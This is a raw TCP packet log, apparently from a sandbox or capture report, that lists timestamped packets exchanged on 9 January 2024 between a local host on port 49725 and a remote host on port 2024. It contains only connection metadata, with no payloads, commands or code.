Jan 9, 2024 15:46:51.552733898 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.552896976 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.552910089 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.552922010 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.552948952 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.552975893 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.553016901 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.553145885 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.553169966 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.553224087 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.553248882 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.553302050 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.553447008 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.553486109 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.553518057 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.553534985 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.553622007 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.553636074 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.553741932 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.553771973 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.553786039 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.553819895 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.553862095 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.553925037 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.553961039 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.553968906 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.554013014 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.554282904 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.554356098 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.554435015 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.554449081 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.554461002 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.554482937 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.554496050 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.554601908 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.554615974 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.554672956 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.554672956 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.554908991 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.554922104 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.554933071 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.554954052 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.554980040 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.555352926 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.555494070 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.555509090 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.555609941 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.555658102 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.555676937 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.555740118 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.555819035 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.555831909 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.555918932 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.555943012 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.555955887 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.555984974 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.556020021 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.556101084 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.556113958 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.556224108 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.556294918 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.556359053 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.556545973 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.556577921 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.556595087 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.556615114 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.556641102 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.556736946 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.556747913 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.556785107 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.556842089 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.557002068 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.557002068 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.557044029 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.557063103 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.557076931 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.557090044 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.557113886 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.557113886 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.557152033 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.557652950 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.557668924 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.557681084 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.557692051 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.557697058 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.557706118 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.557718992 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.557732105 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.557739019 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.557744980 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.557758093 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.557765961 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.557771921 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.557785034 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.557795048 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.557797909 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.557811975 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.557821035 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.557826996 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.557840109 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.557851076 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.557852983 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.557852983 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.557866096 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.557879925 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.557893991 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.557904959 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.557915926 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.557918072 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.557931900 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.557933092 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.557945967 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.557957888 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.557960987 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.557970047 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.557982922 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.557995081 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.557996988 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.558007956 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.558008909 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.558022976 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.558034897 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.558037043 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.558049917 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.558056116 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.558067083 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.558075905 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.558108091 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.558114052 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.558132887 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.558182955 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.558207989 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.558260918 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.558285952 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.558336020 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.558398962 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.558496952 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.558518887 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.558543921 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.558588982 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.558588982 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.558634996 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.558763027 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.558789968 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.558805943 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.558815002 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.558862925 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.558895111 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.558929920 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.558954000 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.558989048 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.559025049 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.559063911 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.559118986 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.559189081 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.559194088 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.559247971 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.559282064 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.559360981 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.559384108 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.559442997 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.559501886 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.559573889 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.559603930 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.559710979 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.559715033 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.559794903 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.559855938 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.559884071 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.559905052 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.559935093 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.560020924 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.560023069 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.560086966 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.560087919 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.560183048 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.560209036 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.560225010 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.560245037 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.560322046 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.560334921 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.560406923 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.560430050 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.560463905 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.560498953 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.560544014 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.560614109 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.560657978 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.560713053 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.560750961 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.560807943 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.560892105 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.560894966 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.560972929 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.561016083 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.561070919 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.561088085 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.561127901 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.561233997 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.561285019 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.561300039 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.561359882 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.561399937 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.561511993 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.561548948 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.561599016 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.561621904 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.561664104 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.561686993 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.561749935 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.561757088 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.561841011 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.561856985 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.561897993 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.561939001 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.562006950 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.562021971 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.562067986 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.562150955 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.562232018 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.562252998 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.562309980 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.562313080 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.562388897 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.562412024 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.562453985 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.562479019 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.562531948 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.562587976 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.562634945 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.562653065 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.562690973 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.562746048 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.562783957 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.562819958 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.562874079 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.562910080 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.562952995 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.562999010 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.563044071 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.563127041 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.563194990 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.563220024 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.563255072 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.563304901 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.563374996 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.563395977 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.563467026 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.563493967 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.563505888 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.563513041 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.563558102 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.563596010 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.563652992 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.563677073 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.563714027 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.563739061 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.563791037 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.563815117 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.563865900 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.563875914 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.563945055 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.563971043 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.564026117 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.564048052 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.564094067 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.564179897 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.564256907 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.564265966 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.564326048 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.564371109 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.564371109 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.564398050 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.564435005 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.564443111 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.564472914 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.564496994 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.564560890 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.564585924 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.564629078 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.564647913 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.564707041 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.564709902 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.564776897 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.564801931 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.564816952 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.564847946 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.564934015 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.564943075 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.565047026 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.565073013 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.565087080 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.565135002 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.565265894 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.565282106 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.565448999 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.565474033 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.565546036 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.565591097 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.565591097 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.565627098 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.565679073 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.565717936 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.565769911 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.565807104 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.565856934 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.565881968 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.565929890 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.566014051 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.566059113 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.566400051 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.566581011 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.567065954 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.567107916 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.567779064 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.567831039 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.568476915 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.568583012 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.569438934 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.569494963 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.569828987 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.569843054 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.569855928 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.569870949 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.569880009 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.569892883 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.569916010 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.569930077 CET	49725	2024	192.168.2.10	168.119.106.20
Jan 9, 2024 15:46:51.569952011 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.569964886 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.569976091 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.569988012 CET	2024	49725	168.119.106.20	192.168.2.10
Jan 9, 2024 15:46:51.570000887 CET	2024	49725	168.119.106.20	192.168.2.10
